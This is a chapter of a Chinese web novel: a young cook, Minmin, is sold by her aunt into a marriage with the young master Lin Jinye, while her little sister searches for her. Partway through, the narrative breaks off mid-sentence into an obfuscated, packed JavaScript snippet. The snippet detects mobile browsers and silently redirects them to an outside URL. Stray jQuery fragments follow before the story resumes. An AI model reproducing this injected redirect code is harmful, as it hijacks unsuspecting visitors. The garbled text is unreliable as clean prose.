赵大力三人被胡多财赶出了院子,看着差点撞上鼻尖的院门,赵大力皱起脸来:“奇了......那闵敏去哪儿了?”
三人不敢耽搁,忙赶回青瓦白墙的闵家查看,而后又回了自家院子,都未见到闵敏。
“这孩子是不是独自回城去了?”黄红兰猜测道。
赵大力摇头:“不会啊,她平时都坐我的驴车进城,再说了,好端端的忽然回城去?有什么事那么急,连回来知会一声的时间都没有?”
闵团越听越心慌,可眼见着天黑了,此时闹着要进城也不是个事儿......
“我去村长那儿问问。”赵大力转身往院子外走。
闵团着急忙慌地跟上去,被赵大力一把捞起来抱着往外走。
这夜稻良村烛火不熄,村口站着一大一小两个身影,都翘首望着村外小道。
天刚蒙蒙亮,赵大力便坐不住了,回院子里牵了驴车出来,把熬得眼睛都快睁不开的闵团裹上毯子放在驴车上。
天色不亮,小道两侧的野草都黑乎乎地趴在地上,随着驴车前行,变成一团团乌黑的怪物。
闵团掐了一把自己的手臂,怕自己睡着。
“团团睡会儿吧,我看着你呢。”赵大力将闵团捞到自己背后,让她靠着自己睡。
路程还远,闵团原想着眯会儿,却越靠越精神,心中的担忧不断涌出,叫她静不下来。
“赵叔......”一夜未眠,她声音有些哑,“姐姐在城里吗?”
赵大力不敢断言,只能安慰道:“说不准是有急事回城了。”
“要是姐姐不在城里呢?”闵团问。
赵大力抹了把脸道:“不在城里......那我们就去报官......”
闵团闻言,终于忍不住落下两行泪来,她死死咬住下唇不肯出声,赵大力未察觉,还在轻声安慰她。
驴车赶着开城门的时候进了城,与它擦肩而过的是一顶花轿。
赵大力与闵团都无暇看热闹,只匆匆瞥了一眼花轿便往明鲜楼去。
梁汪才将后厨的事安排妥当,准备开启一整日的忙碌,便听伙计说外头有人找他。
“闵敏?”梁汪蹙眉道,“她不是回村去了吗?我没见着她。”
闵团急得眼泪当时就掉了下来。
“这是怎么了?”梁汪忙蹲下身给她擦眼泪。
“闵敏昨日中午出去后就不见了......”
“不见了?”梁汪脸色骤变,他仔细回忆着,近日并未听说有什么匪盗,可小娘子忽然失踪定是有蹊跷的。
“我去报官。”赵大力将闵团往梁汪身前推了推,转身出门。
不料楼外街上忽然拥挤起来,赵大力踮着脚去看,只见街头远远抬过来一顶花轿,似是先前在城门口遇到的那顶......
“这谁家结亲啊?”
“不知道啊,应当不是城东的,城东我都熟,未曾听说谁家今日娶亲......”
“花轿还怪好看的,你看那坠金流苏。”
“诶?抬轿子的好像是林府的人......”
百姓们听到“林府”二字,忽然都停了吵闹,定睛去看。
“真是林府的!”
“林府娶亲?”
“是林少爷要娶亲?”
有胆大的便凑上前问抬花轿的伙计,那伙计早早得了荀馨的教导,笑着开口道:“是我家少爷娶亲,这会儿府门前正撒喜钱呢,大家快去领!”
这下百姓们也不纠结为何林近野成亲如此突然了,都纷纷吵嚷簇拥着往林府去,将正要上街的赵大力挤回了明鲜楼中。
他等了一刻,待人群散去,便又要上街,却见方才离开的百姓们又都涌了回来,他再次被挤回了楼中。
“林少爷来接亲了?”
“怎么先前不来,半道来了?”
“谁知晓啊,还以为林家不在乎这新娘子呢,连嫁妆都无,只有一顶花轿......”
林近野身着喜服骑在马上,顶着众人议论声到了轿子前,领着轿子往林府去。
今日一早林骈忽然带了虔渊州的消息来,林近野不得已留在府中处理,本以为轿子去村里接人,没那么快回来,谁料竟刚出城门便接上了新娘,这才让赶过来的他像是“半道接亲”的......
林近野一边骑马,一边不放心地朝后看——真的是她吗?怎么答应了这门亲事,却不同自己知会一声?
他昨夜并未睡好,辗转间总想起那张医嘱来,查不出病因的绝症、随时可能垮掉的身子——怎么会是闵敏呢?
自闵敏来了明鲜楼,日日都在变好,她变得更白、更结实了,脸上的笑也变多了。她开始展露自己的厨艺,与楼中伙计也愈发熟悉......
他原以为她前途广阔,却未曾想竟身患重病......
正出神,林近野忽然在周遭吵闹中捕捉到一个稚嫩童声,他转过头,看见闵团正在喊他。
闵敏再次醒来时,觉得浑身酸痛,她忙低头去看,还未来得及检查伤势,便被一片刺目的红吓住了——这一身红色嫁衣是怎么回事?难道女鬼的标配都是红色嫁衣?她已经被杀害化为厉鬼了?
她扒开嫁衣细细检查了一番,身上有些磕碰的淤青,没什么特殊伤口。
她爬起身,掀开床帘一看,这是一间简约而不简单的屋子。据她在明鲜楼这么久的见闻来看,这屋子里的每一个摆件......都很贵。
屋子里燃着红烛,窗外也一片漆黑,显然已经天黑了。
闵敏揉了揉脑袋,感到身上和脑子里都疼,她又低头看着双手——我还活着吧?
她走到门前,正要推门,门就被人从外打开了。
来人一袭红色喜服长身玉立,俊朗非凡。
“少东家?”闵敏迟滞地喊出了声。
林近野抬手用食指与中指抵着闵敏的肩,推着她往屋里走,顺便反手关了门。
闵敏懵懵地回了屋子,直到重新坐在床上,才发觉林近野身上的衣服与自己身上的是一套!
她正要说话,林近野忽然抬手示意她闭嘴。
“如今的情况是,你姑姑闵金环将你卖给了林府,我娘为了摆脱虔渊州的媒人,替我应下了这门亲事。”
林近野的话很短,但每个字都将闵敏惊得几乎坐不住。
难怪自己去找闵金环的时候她态度那样奇怪,在她眼中,自己简直就是送上门的羔羊!
“她把我打晕,送来了林府?”闵敏问。
林近野点头。
“那我们现在?”闵敏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430086|169209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将红色的喜服裙摆拎了起来。
“洞房。”
“啊?”闵敏连忙抱紧自己,警惕地看向林近野。
林近野的脸色有些扭曲,咬着后槽牙道:“假洞房。”
闵敏闻言并不放心,还是警惕地看着他。
“这亲事林府上下都知晓,是为了给我做幌子挡住虔渊州的媒人们,假夫妻罢了,不必担心我会对你做什么。”
闵敏默了默,小声道:“那我......可以拒绝吗?”她说这话时怕林近野生气,于是怂怂地低着头,错过了林近野眼底瞬间的异样情绪。
“一年。”林近野道,“一年后我们和离。”
“为什么要等一年?”闵敏有些不乐意,不管一年还是两年,她出了林府就是二婚了。
“我娘先前也被蒙在鼓里,她以为你是自愿的......”林近野道,“事到如今,观宏州百姓都知晓我娶了妻,也都知晓了你的身份,这时再出去解释,百姓中定然流言四起,对我们俩都没好处。”
闵敏有些泄气地坐在床上,忽然道:“呀!团团还在黄婆婆那儿!”她猛地站起身,却被繁重的婚服绊倒,又摔回了床上。
“闵团在府上。”
“什么?”
林近野带闵敏在隔壁院子找到了闵团。
彼时闵团正在酣睡,一夜未眠,又知晓了自家姐姐身患绝症的消息,她又惊又悲,没撑住睡着了。
看见闵团缩在柔软的被子里睡觉,小脸红扑扑的,闵敏心中忽然愧疚起来。
除了天灾时在明鲜楼雅间住的那段日子,闵团向来是睡硬被窝的,闵家先前不算穷,但也不会像林府一样用这么好的被子。
看过了闵团,闵敏又重新回到醒来的屋子里,看着角落无处不在的红烛,还有桌上摆着的合卺酒,她忽然转身问林近野:“这一年,团团也可以住在林府吗?”
林近野早便料到她会问此事,毫不犹豫地点头。
闵敏垂下头思索,既然观宏州百姓都知晓了此事,那她无论是现在走出林府,还是一年后走出林府,都是“二婚”。
眼下林近野需要自己这个“挡箭牌”,那团团在林府应当也不会受苛待,自己在明鲜楼的成长不算慢,但如果有了林近野的名声助力,她应当能走得更远......
“那......”闵敏还是不放心道,“为什么选我?观宏州的女人也不少啊......”
林近野抿了抿唇。
先前在街上被闵团叫住,他便朝林骈使眼色,将闵团与赵大力秘密带回了林府。
进林府后林近野去见了闵团与赵大力,这才知晓,闵敏根本不是自愿的。
可惜阴差阳错地,两人还是错失了将乌龙截断的机会。
直到林近野将医嘱拿给赵大力与闵敏看,他才发现闵敏不仅不是自愿卖身的,她连自己身患绝症都不知晓!
难怪她在人前那样乐观爱笑,他还以为她内心强大,没成想她压根不知晓自己的情况。
面前的小娘子素面朝天,被身上鲜红的嫁衣衬得肤色都白了些,盛装配上素颜,足见送她上花轿之人有多么敷衍。
“选你......”林近野开口道,“是因为......我娘找人算出来说你旺夫。”
“啊?”